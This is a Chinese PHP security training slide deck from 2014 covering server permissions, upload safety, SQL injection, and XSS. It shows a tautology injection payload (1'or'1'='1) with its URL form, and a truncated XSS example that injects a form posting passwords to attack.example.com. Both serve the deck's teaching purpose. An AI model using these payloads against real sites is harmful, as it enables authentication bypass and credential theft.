PHP 安全优化
总则
对安全一定要重视!
2PHP程序要点
安全->稳定->性能->扩展->维护
2014-10-17主要内容
本ppt内容讲的是关于php网站的主要安全隐患问
题。
没有100%的安全,只有更好的安全,尽可能
的做到最安全。关于一些不太危险的其它各种安
全细节,这里没有涉及,但是本ppt介绍的内容如
果做好了,就应该可以达到80-90%以上的
安全性。
不要忘记著名的等强原则:一个系统的的强度是
由它最薄弱的环节决定的(注:相当于木桶原
理)。
2014-10-17PHP安全要点目录
- 不要用windows,要用linux系统。
- 服务器目录权限
- 上传安全
- SQL注入
- XSS
- CSRF
- Mysql权限
- PHP危险函数
- 密码安全
- 验证码
- 备份
- 防止撞库攻击
- 保持更新
- 敏感词过滤
- 开启防火墙
- ARP
2014-10-171.不要用windows,要用linux系统。
• 不管从安全、及性能上都要考虑用Linux系
统。
• windows系统相对来说,其病毒数量和对权
限的设置都要比linux危险得多。
2014-10-172.服务器目录权限
• 不能列出目录文件,上传目录不能有运行php权限,
最好不允许直接访问模板文件.
• 不同的站点文件要互不能访问其它站点文件,不
同的站点要用不同的用户名。
• 防止跨目录访问(即禁止站点程序有访问站点根
目录以外的目录的权限)。
2014-10-172.服务器目录权限
目录权限设置很重要:可以有效防范黑客上传木马文件 .
目录权限(一般目录)
find /path -type d -exec chmod 555 {} \; //设置目录权限为555
可写目录(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)
find /path -type d -exec chmod 755 {} \; //设置目录权限为755
文件权限(一般文件)
find /path -type f -exec chmod 444 {} \; //设置文件权限为444
可写文件(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)
find /path -type f -exec chmod 644 {} \; //设置文件权限为644
设置完成后,再通过命令:
chown wwwdata:wwwdata * -R 将目录和文件的所有者改为wwwdata。
如有可能:所有可写目录都禁止 php 执行。
2014-10-172.服务器目录权限
防跨目录访问:
1在php.ini中设置 open_basedir 或在文件中 ini_set("open_basedir”,”网站目录”);
最好是在apache中进行以下设置
2虚拟主机配置样例:
ServerAdmin root@uitv.com
DocumentRoot /data/wwwroot/www
ServerName www.uitv.com
Options FollowSymLinks
AllowOverride Options FileInfo
Order allow,deny
Allow from all
php_admin_value open_basedir /data/wwwroot/www/:/var/tmp/
DirectoryIndex index.htm index.html index.php
如果做以下设置更安全
useradd -g www -d /data0/htdocs -s /sbin/nologin www 意思:创建一个www用户根目录在/data0/htdocs 使
用shell 是/sbin/nologin(不允许登录)
2014-10-172.服务器目录权限
防跨目录访问:
跨目录(目录穿越)演示:chdir.php
解决:http://192.168.8.131/chdir.php?s=1
2014-10-172.服务器目录权限
上传目录禁止执行PHP
Nginx:
location ~ ^/(|upload|data|images|config|static|source)/..(php|php5)$
{
deny all;
}
Apache:
Order allow,deny
Deny from all
使用nginx + thinkphp记得禁止php和模板文件外部访问权限
禁止访问根目录以外的php文件 location ~ ^/.+/..php$ { return 404; }
禁止访问模板目录下的html文件 location ~ ^/tpl/default/..html$ { return 404; }
2014-10-172.服务器目录权限
模板文件保护
Apache:
Options -Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Deny from all
2014-10-173.上传安全
1.现在几乎所有的开源cms及框架都不是10
0%安全的。
2.不能只对文件扩展名进行判断,而是要对文
件(二进制)内容进行判断。
3.如果做不好,就可能导致恶意上传木马,窃
取源码,数据库,用户信息,删除更改文
件甚至完全控制服务器等危险动作。
2014-10-173.上传安全
php安全上传类源码分析
phpcms上传演示
php安全上传演示
2014-10-174.SQL注入
2014-10-174.SQL注入
现在很多的开源php系统及框架都不能10
0%做到防止SQL注入。当然网上的一
些教程也绝大部分说的不正确或副作用比
较大。SQL注入攻击是一些很常见的攻
击,被注入后,可能会恶意删除数据,获
取管理员权限,甚至可以提权上传木马及
控制服务器,危害是很大的。
2014-10-174.SQL注入
注入代码示例:
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
如果
$username = 1'or'1'='1
$password=1'or'1'='1
那么sql语句就变成了
SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'
通常为通过url访问
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%
20'1
对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情
况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造
成的后果则更为严重。
2014-10-174.SQL注入
防止SQL注入要点 - 1数据库连接代码要设置正确的字符集
- 2对传入的数字值用intval();转换:如intval($_GET['s']);
- 3对所有传入的数据用mysql_real_escape_string();转义
- 4 sql语句所有字段值都要加上单引号,包括数值字段
如:$sql = "select * from test where id = '$id'";
以上几点一定要组合使用,否则是不起作用的。做好以上几
点就可以完全防止SQL注入。
2014-10-174.SQL注入
另外也可用mysqli或pdo的prepare语句,也能防止sql注入 (这是推荐做法)
<?php
$mysqli=new mysqli("localhost","root","","testdb");
//$stmt=$mysqli->stmt_init();
$sql="insert into shops(name,price,num,desc) values(?,?,?,?)";
$stmt=$mysqli->prepare($sql);
$stmt->bind_param("sdis",$name,$price,$num,$desc);//sdis是四个参数的类型
i:intger,d:double,s:string,b:blob
$name="Lenix";
$price="220";
$num="55";
$desn="hello world";
$stmt->execute();
$stmt->close();
?>
2014-10-174.SQL注入
常见字符过滤替换的副作用及误区
1过滤关键字 select,union,drop,delete,update,join,and,or等
攻击者可用SeLect,或SEselectLECT变形进行注入.
2过滤单引号,双引号,有时不但不起作用,还会影响正常输入。
3过滤 #,/ /,-- ,这个也同上。
2014-10-174.SQL注入
MYsql安全连接及查询
function connMysql($dbUserName, $dbPassword, $dbDatabase, $dbHost = 'localhost', $dbCharset = 'UTF8')
{
$link = mysql_connect($dbHost, $dbUserName, $dbPassword) or die(mysql_error());
$dbVersion = mysql_get_server_info($link);
//设置字符集
mysql_set_charset($dbCharset, $link);
//mysql_query("SET NAMES gb2312", $link);此方式不推荐;
//设置 sql_mode
if ($dbVersion > '5.0.1') {
mysql_query("SET sql_mode = ''", $link);
mysql_query("SET character_set_connection = ".$dbCharset.", character_set_results = ".$dbCharset.", character_set_client =
binary", $link);// 防止宽字节注入
}
mysql_select_db($dbDatabase, $link);
return $link;
}
$link = connMysql('dbuser', 'password', 'test');
$s = $_GET['s'];
$s = mysql_real_escape_string($s, $link);
$sql = "select * from test where id = '$s'";
//$sql="select * from test where username='$s'";
2014-10-174.SQL注入
SQL注入演示
sqlzr.php分析
2014-10-175.XSS
跨站脚本攻击(Cross Site Scripting)
为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里
插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊
目的。
假如我们有这样一段PHP的代码:
$username = $_GET['username'];
echo '
那么我们可以这样来注入:
http://192.168.8.131/xss.php?username= 用firefox打开测试
甚至这样:
http://trustedSite.example.com/welcome.php?username=
action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username”
/><br/>Password:
这会让网页显示以下内容:
2014-10-175.XSS
XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用
户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。
如果是网站的管理员中招,还有可能导致后台管理权限被盗。
XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的
网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入
javascript代码。
另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想
过吧?
评论 (0)